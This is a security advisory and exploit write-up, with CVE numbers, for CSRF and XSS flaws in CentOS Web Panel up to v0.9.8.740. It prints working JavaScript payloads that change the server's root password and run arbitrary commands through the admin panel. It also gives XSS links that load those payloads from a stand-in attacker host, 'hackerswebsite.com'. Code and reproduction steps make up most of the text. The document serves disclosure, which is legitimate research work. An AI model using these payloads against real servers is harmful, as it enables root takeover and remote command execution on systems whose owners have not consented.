CentOS Web Panel versions 0.9.8.740 and below suffer from cross site request forgery and cross site scripting vulnerabilities that can be leveraged to achieve remote root command execution.
5a8b5c22b6f88d4b23b7a0d7443350b170fd00adeeb921e879705dd19fe1cdd5
[+] Title: CentOS Web Panel Root Account Takeover + Remote Command
Execution <= v0.9.8.740
[+] Author: Numan OZDEMIR (https://infinitumit.com.tr)
[+] Vendor Homepage: centos-webpanel.com
[+] Software Link: http://centos-webpanel.com/cwp-latest
[+] Version: Up to v0.9.8.740.
[+] CVE: CVE-2018-18773, CVE-2018-18772 and CVE-2018-18774.
[+] Detailed: https://numanozdemir.com/respdisc/cwp.pdf
[+] Discovered by Numan OZDEMIR in InfinitumIT Labs
[~] Description:
Attacker can change target server's root password and execute command,
by CSRF vulnerability.
Also, there is a XSS vulnerability, hacker can exploit the CSRF
vulnerability by this XSS
vulnerability and run bad-purposed JavaScript codes on administrator's
browser.
So, CSRF/XSS to full server takeover.
[~] How to Reproduce:
Hacker can exploit this vulnerability (changing root password) by XSS or
CSRF.
Hacker will create a website and put those codes into source:
<script>
var url = "http://targetserver:2030/admin/index.php?module=rootpwd";
var params = "ifpost=yes&password1=newpassword&password2=newpassword";
var vuln = new XMLHttpRequest();
vuln.open("POST", url, true);
vuln.withCredentials = 'true';
vuln.setRequestHeader("Content-type",
"application/x-www-form-urlencoded");
vuln.send(params);
</script>
(Update newpassword as the password that you want to change.)
If hacker wants to exploit this by CSRF, CWP administrator will click
hacker's website.
But if hacker wants to exploit this by XSS, CWP administrator will click
here: (admin's own website)
http://targetserver:2030/admin/index.php?module=<script%20src=//hackerswebsite.com/password.js></script>
After exploiting, you can connect to server by Putty or access the CWP
panel with the password
that you have specified from 2030 port.
The second vulnerability is remote command execution.
Hacker can exploit this vulnerability (remote command execution) by XSS
or CSRF too.
Again, hacker will create a website and put those codes into source:
<script>
var url = "http://targetserver:2030/admin/index.php?module=send_ssh";
var params = "ssh+command=whoami";
var vuln = new XMLHttpRequest();
vuln.open("POST", url, true);
vuln.withCredentials = 'true';
vuln.setRequestHeader("Content-type",
"application/x-www-form-urlencoded");
vuln.send(params);
</script>
(Update whoami as command that you want to run.)
Same logic like top, if hacker wants to exploit this by CSRF, CWP
administrator will click hacker's website.
But if hacker wants to exploit this by XSS, CWP administrator will click
here: (admin's own website)
http://targetserver:2030/admin/index.php?module=<script%20src=//hackerswebsite.com/command.js></script>
// shouldnt think that CSRF/XSS are unimportant vulnerabilities.
// for secure days...